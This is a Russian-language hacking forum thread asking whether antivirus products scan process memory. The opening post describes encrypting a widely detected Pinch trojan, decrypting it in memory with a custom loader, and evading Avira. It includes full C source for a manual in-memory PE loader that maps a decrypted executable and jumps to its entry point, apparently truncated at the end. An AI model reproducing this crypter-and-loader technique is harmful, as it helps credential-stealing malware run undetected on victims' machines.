Сейчас на форуме: Kybyx (+4 невидимых)

 eXeL@B —› Оффтоп —› А проверяют ли антивирусы память?
<< . 1 . 2 .
Посл.ответ Сообщение


Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 09 октября 2013 13:22
· Личное сообщение · #1

В общем, не специалист я в этой области, но меня удивила одна тема.

Взял я в экспериментальных целях образ прекрасно детектящегося любым АВ пинча, написал декриптор и загрузчик. Делается все приблизительно так: загрузчик читает из зашифрованного файла в массив, потом расшифровывает его в памяти. И вот в этот самый момент и проверяется память всех процессов. Авира не находит ничего подозрительного, хотя если посмотреть отладчиком, видно, что в памяти образ пинча, ничем не зашифрованного. Ничего не понимаю. Даже если загрузить вирусняк в память кодом, который ниже, все равно ничего не детектится.

Code:
  1. #include <Windows.h>
  2.  
  3. DWORD GetSectionProtection(DWORD sc)
  4. {
  5.     DWORD dwResult=0;
  6.     if (sc & IMAGE_SCN_MEM_NOT_CACHED)
  7.         dwResult |= PAGE_NOCACHE;
  8.  
  9.     if (sc & IMAGE_SCN_MEM_EXECUTE)
  10.     {
  11.         if (sc & IMAGE_SCN_MEM_READ)
  12.         {
  13.             if (sc & IMAGE_SCN_MEM_WRITE)
  14.                 dwResult |= PAGE_EXECUTE_READWRITE;
  15.             else
  16.                 dwResult |= PAGE_EXECUTE_READ;
  17.         }
  18.         else 
  19.         {
  20.             if (sc & IMAGE_SCN_MEM_WRITE)
  21.                 dwResult |= PAGE_EXECUTE_WRITECOPY;
  22.             else
  23.                 dwResult |= PAGE_EXECUTE;
  24.         }
  25.     }
  26.     else
  27.     {
  28.         if (sc & IMAGE_SCN_MEM_READ)
  29.         {
  30.             if (sc & IMAGE_SCN_MEM_WRITE)
  31.                 dwResult|=PAGE_READWRITE;
  32.             else
  33.                 dwResult|=PAGE_READONLY;
  34.         }
  35.         else 
  36.         {
  37.             if (sc & IMAGE_SCN_MEM_WRITE)
  38.                 dwResult|=PAGE_WRITECOPY;
  39.             else
  40.                 dwResult|=PAGE_NOACCESS;
  41.         }
  42.     }
  43.  
  44.     return dwResult;
  45. }
  46.  
  47.  
  48. inline BOOL IsImportByOrdinal(DWORD ImportDescriptor)
  49. {
  50.     return (ImportDescriptor & IMAGE_ORDINAL_FLAG32)!=0;
  51. }
  52.  
  53. #ifndef MIN
  54. #define MIN(a,b) ((a)<(b)?(a):(b))
  55. #endif
  56.  
  57. //typedef BOOL (WINAPI *pointMAIN)(int , char*);
  58.  
  59. typedef BOOL (WINAPI *pointWINMAIN)(HINSTANCE, HINSTANCE, LPSTR, int);
  60.  
  61.  
  62. HMODULE MemLoadExe(PBYTE data)
  63. {
  64.     IMAGE_FILE_HEADER        *pFileHeader        = NULL;
  65.     IMAGE_OPTIONAL_HEADER    *pOptionalHeader    = NULL;
  66.     IMAGE_SECTION_HEADER    *pSectionHeader        = NULL;
  67.     IMAGE_IMPORT_DESCRIPTOR *pImportDscrtr        = NULL;
  68.     USHORT                    e_lfanew            = *((USHORT*)(data+0x3c));
  69.     PCHAR                    ImageBase            = NULL;
  70.     PCHAR                    SectionBase            = NULL;
  71.  
  72.     
  73.     DWORD dwSize, dwOldProt, ImageBaseDelta;
  74.     int i;
  75.  
  76.     pFileHeader = (IMAGE_FILE_HEADER *)(data+e_lfanew+4);
  77.     pOptionalHeader = (IMAGE_OPTIONAL_HEADER *)(data+e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
  78.  
  79.     if (pOptionalHeader->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
  80.         return NULL;
  81.  
  82.     //    Let's try to reserv memory
  83.     ImageBase = (PCHAR)VirtualAlloc(
  84.         (PVOID)pOptionalHeader->ImageBase,
  85.         pOptionalHeader->SizeOfImage,
  86.         MEM_RESERVE,PAGE_NOACCESS);
  87.  
  88.     if(ImageBase==NULL)
  89.     {
  90.         ImageBase=(PCHAR)VirtualAlloc(NULL,
  91.             pOptionalHeader->SizeOfImage,
  92.             MEM_RESERVE,PAGE_NOACCESS);
  93.         if(ImageBase==NULL)
  94.             return NULL;
  95.     }
  96.  
  97.     //    copy the header
  98.     SectionBase=(PCHAR)VirtualAlloc(ImageBase,
  99.         pOptionalHeader->SizeOfHeaders,
  100.         MEM_COMMIT,PAGE_READWRITE);
  101.     memcpy(SectionBase,data,pOptionalHeader->SizeOfHeaders);
  102.     //    Do headers read-only (to be on the safe side)
  103.     VirtualProtect(SectionBase,pOptionalHeader->SizeOfHeaders,PAGE_READONLY,&dwOldProt);
  104.  
  105.     //    find sections ...
  106.     pSectionHeader = (IMAGE_SECTION_HEADER *)(pOptionalHeader+1);
  107.     for (i=0; i<pFileHeader->NumberOfSections; i++)
  108.     {
  109.         SectionBase = (PCHAR)VirtualAlloc(
  110.             ImageBase+pSectionHeader[i].VirtualAddress,
  111.             pSectionHeader[i].Misc.VirtualSize,
  112.             MEM_COMMIT,PAGE_READWRITE);
  113.         if (SectionBase==NULL)
  114.         {
  115.             VirtualFree(ImageBase, 0, MEM_RELEASE);
  116.             return NULL;
  117.         }
  118.         //    ... and copy initialization data
  119.         SectionBase = ImageBase+pSectionHeader[i].VirtualAddress;
  120.         dwSize = MIN(pSectionHeader[i].SizeOfRawData,pSectionHeader[i].Misc.VirtualSize);
  121.         memcpy(SectionBase, data+pSectionHeader[i].PointerToRawData,dwSize);
  122.     }
  123.  
  124.     pImportDscrtr = (IMAGE_IMPORT_DESCRIPTOR *)(ImageBase+
  125.         pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  126.  
  127.     for (;pImportDscrtr->Name!=0; pImportDscrtr++)
  128.     {
  129.         PCHAR pLibName        = (PCHAR)(ImageBase+pImportDscrtr->Name);
  130.         PCHAR pImortName    = NULL;
  131.         HMODULE hLibModule    = LoadLibraryA(pLibName);
  132.         DWORD    *pImport    = NULL,
  133.             *pAddress    = NULL;
  134.         DWORD ProcAddress;
  135.  
  136.         pAddress=(DWORD *)(ImageBase+pImportDscrtr->/*Original*/FirstThunk);
  137.         if (pImportDscrtr->TimeDateStamp==0)
  138.             pImport=(DWORD *)(ImageBase+pImportDscrtr->FirstThunk);
  139.         else
  140.             pImport=(DWORD *)(ImageBase+pImportDscrtr->OriginalFirstThunk);
  141.         for (i=0; pImport[i]!=0; i++)
  142.         {
  143.             if (IsImportByOrdinal(pImport[i]))
  144.                 ProcAddress=(DWORD)GetProcAddress(hLibModule, (PCHAR)(pImport[i]&0xFFFF));
  145.             else  // import by name
  146.             {
  147.                 pImortName=(PCHAR)(ImageBase+(pImport[i])+2);
  148.                 ProcAddress=(DWORD)GetProcAddress(hLibModule, pImortName);
  149.             }
  150.             pAddress[i]=ProcAddress;
  151.         }
  152.     }
  153.  
  154.     //    set section protection
  155.     for (i=0; i<pFileHeader->NumberOfSections; i++)
  156.         VirtualProtect((PVOID)(ImageBase+pSectionHeader[i].VirtualAddress),
  157.         pSectionHeader[i].Misc.VirtualSize,
  158.         GetSectionProtection(pSectionHeader[i].Characteristics),
  159.         &dwOldProt);
  160.  
  161.     //    call MainFunc
  162.     if (pOptionalHeader->AddressOfEntryPoint!=0)
  163.     {
  164.         //pointMAIN pWinMain=(pointMAIN)(ImageBase+pOptionalHeader->AddressOfEntryPoint);
  165.         pointWINMAIN pWinMain=(pointWINMAIN)(ImageBase+pOptionalHeader->AddressOfEntryPoint);
  166.         if (!pWinMain((HINSTANCE)ImageBase, NULL, 0, SW_SHOWNORMAL))
  167.         {
  168.             VirtualFree(ImageBase, 0, MEM_RELEASE);
  169.             return NULL;
  170.         }
  171.     }
  172.  
  173.     return (HMODULE)ImageBase;


-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 24 декабря 2013 17:22
· Личное сообщение · #2

Dr0p пишет:
. Во вторых причём она тут ?

Согласен, ни при чем, и я придерживаюсь того же мнения)

Всем спасибо за обсуждение - я полагаю, что действительно обломилась эмуляция, на том и остановимся)

А в остальном - попробую подебажить через связку GDB + VMWare)

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.



<< . 1 . 2 .
 eXeL@B —› Оффтоп —› А проверяют ли антивирусы память?

У вас должно быть 20 пунктов ранга, чтобы оставлять сообщения в этом подфоруме, но у вас только 0

   Для печати Для печати